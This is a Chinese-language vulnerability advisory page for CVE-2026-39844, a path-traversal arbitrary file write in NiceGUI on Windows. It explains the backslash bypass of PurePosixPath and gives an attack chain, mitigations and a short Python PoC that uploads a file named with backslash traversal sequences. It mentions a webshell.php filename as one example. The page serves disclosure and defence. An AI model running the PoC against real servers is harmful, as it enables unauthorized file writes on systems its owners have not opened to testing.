IPBUF安全漏洞报告
English
CVE-2026-39844 CVSS 5.9 中危

CVE-2026-39844 NiceGUI Windows任意文件写入漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39844
漏洞类型
任意文件写入
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NiceGUI

相关标签

任意文件写入路径遍历NiceGUIWindows路径绕过

漏洞概述

NiceGUI是一个基于Python的UI框架。在3.10.0版本之前,该框架存在一个安全漏洞。由于PurePosixPath仅将正斜杠识别为路径分隔符,攻击者可以利用Windows系统支持反斜杠的特性,通过在上传文件名中使用反斜杠绕过清理机制。如果应用程序使用file.name构造文件路径,攻击者即可在Windows系统上实现任意文件写入,影响系统完整性。

技术细节

该漏洞的根源在于跨平台路径处理机制的差异。NiceGUI框架在处理用户上传的文件名时,默认使用了Python的PurePosixPath类进行路径规范化。PurePosixPath严格遵循POSIX标准,仅识别正斜杠(/)作为路径分隔符,将反斜杠(\)视为普通字符。然而,Windows操作系统内核及文件API完全支持反斜杠作为路径分隔符。当应用程序部署在Windows环境下时,攻击者可以构造包含反斜杠的恶意文件名(例如sensitive\..\..\webshell.php)。由于PurePosixPath不处理反斜杠,安全校验逻辑会认为这是一个合法的单文件名而放行。但随后,若应用代码直接使用file.name属性与静态目录路径拼接,Windows API会将反斜杠解析为目录跳转指令。这导致文件被写入到预期目录之外的位置,实现任意文件写入。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行Windows操作系统,且使用了版本低于3.10.0的NiceGUI框架。
STEP 2
构造载荷
攻击者准备一个待上传的文件,并在文件名中插入反斜杠(\)作为路径遍历字符,例如"..\\..\\payload.txt"。
STEP 3
发送请求
攻击者向目标站点的文件上传接口发送POST请求,提交包含恶意文件名的文件数据。
STEP 4
绕过过滤
服务器端的PurePosixPath验证逻辑仅检查正斜杠,忽略了反斜杠,从而让恶意文件名通过了安全检查。
STEP 5
写入文件
应用程序使用file.name直接拼接路径,Windows系统解析反斜杠,将文件写入攻击者指定的任意位置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://localhost:8000/upload" # The vulnerability relies on the use of backslashes which are ignored by PurePosixPath # but interpreted as path separators on Windows. # Attempting to write a file to the parent directory or root. malicious_filename = "..\\..\\evil_file.txt" files = { 'file': (malicious_filename, b'Arbitrary content payload', 'text/plain') } try: response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] Upload request sent successfully.") print("[+] Check if the file was written outside the intended directory.") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

NiceGUI < 3.10.0

防御指南

临时缓解措施
在无法立即升级框架的情况下,建议开发者修改文件上传处理逻辑。不要直接使用上传文件的原始名称(file.name)进行路径拼接。应使用os.path.basename()或其他安全方法提取文件名,并显式地将字符串中的反斜杠(\)替换为空或其他安全字符,确保路径遍历攻击无法在Windows环境下生效。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表